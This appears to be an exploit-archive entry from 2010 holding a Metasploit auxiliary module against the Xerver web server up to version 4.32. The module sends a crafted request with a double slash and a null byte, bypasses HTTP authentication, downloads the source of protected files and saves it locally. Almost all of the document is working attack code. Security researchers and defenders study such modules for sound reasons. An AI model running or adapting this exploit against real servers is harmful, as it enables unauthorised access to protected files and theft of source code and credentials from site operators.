# Exploit Title: Xerver Source Disclosure and HTTP Auth Bypass
# Date: 01 Aug 2010
# Author: Ben Schmidt aka supernothing
# Software: http://www.javascript.nu/xerver/
# Version: 4.32 and prior
# Tested on: Windows XP SP3
# CVE: N/A

##
# This file is derived from part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Auxiliary

 include Msf::Exploit::Remote::HttpClient
 include Msf::Auxiliary::Report
 include Msf::Auxiliary::Scanner

 def initialize
  super(
   'Name'           => 'Xerver Source Code Disclosure/Download, Authentication Bypass',
   'Version'        => '$Revision: 1 $',
   'Description'    => %q{
     This module exploits a source code disclosure/download vulnerability in
    versions of the Xerver web server up to and including version 4.32. It also
                incorporates an authentication bypass vulnerability that allows you to dump
                the source of files in HTTP auth protected directories as well.
   },
   'References'     =>
    [
     [ 'CVE', '' ],
     [ 'OSVDB', '' ],
     [ 'BID', '' ],
                    ['URL','http://spareclockcycles.org/2010/08/01/multiple-vulnerabilities-in-xerver-4-32/']
    ],
   'Author'         =>
    [
                    #Vulnerability discovered by:
                    'supernothing',
                    #Module based on nginx source disclosure code by:
     'Alligator Security Team',
     'Tiago Ferreira <tiago.ccna[at]gmail.com>',
    ],
   'License'        =>  MSF_LICENSE)

  register_options(
   [
    OptString.new('URI', [true, 'Specify the path to download the file (ex: admin.php)', '/admin.php']),
    OptString.new('PATH_SAVE', [true, 'The path to save the downloaded source code', '']),
   ], self.class)
 end

 def target_url
  "http://#{vhost}:#{rport}#{datastore['URI']}"
 end

 def run_host(ip)
  uri = datastore['URI']
  path_save = datastore['PATH_SAVE']

  vuln_versions = [
   "Xerver/4.32",#Others definitely vulnerable, add as needed
  ]

  begin
   res = send_request_raw(
    {
     'method'  => 'GET',
     'uri'     => "//#{uri}\x00.txt", #extra forward slash for breaking password protection
    }, 25)

   if res
    version = res.headers['Server']
    http_fingerprint({ :response => res })
   end
   
            if vuln_versions.include?(version)
    print_good("#{target_url} - Xerver - Vulnerable version: #{version}")

    if (res and res.code == 200)

     print_good("#{target_url} - Xerver - Getting the source of page #{uri}")

     save_source = File.new("#{path_save}#{uri}","w")
     save_source.puts(res.body.to_s)
     save_source.close

     print_status("#{target_url} - Xerver - File successfully saved: #{path_save}#{uri}") if (File.exists?("#{path_save}#{uri}"))

    else
     print_error("http://#{vhost}:#{rport} - Xerver - Unrecognized #{res.code} response")
     return

    end

   else
    if version =~ /Xerver/
     print_error("#{target_url} - Xerver - Cannot exploit: the remote server is not vulnerable - Version #{version}")
    else
     print_error("#{target_url} - Xerver - Cannot exploit: the remote server is not Xerver")
    end
    return

   end

  rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
  rescue ::Timeout::Error, ::Errno::EPIPE
  end
 end

end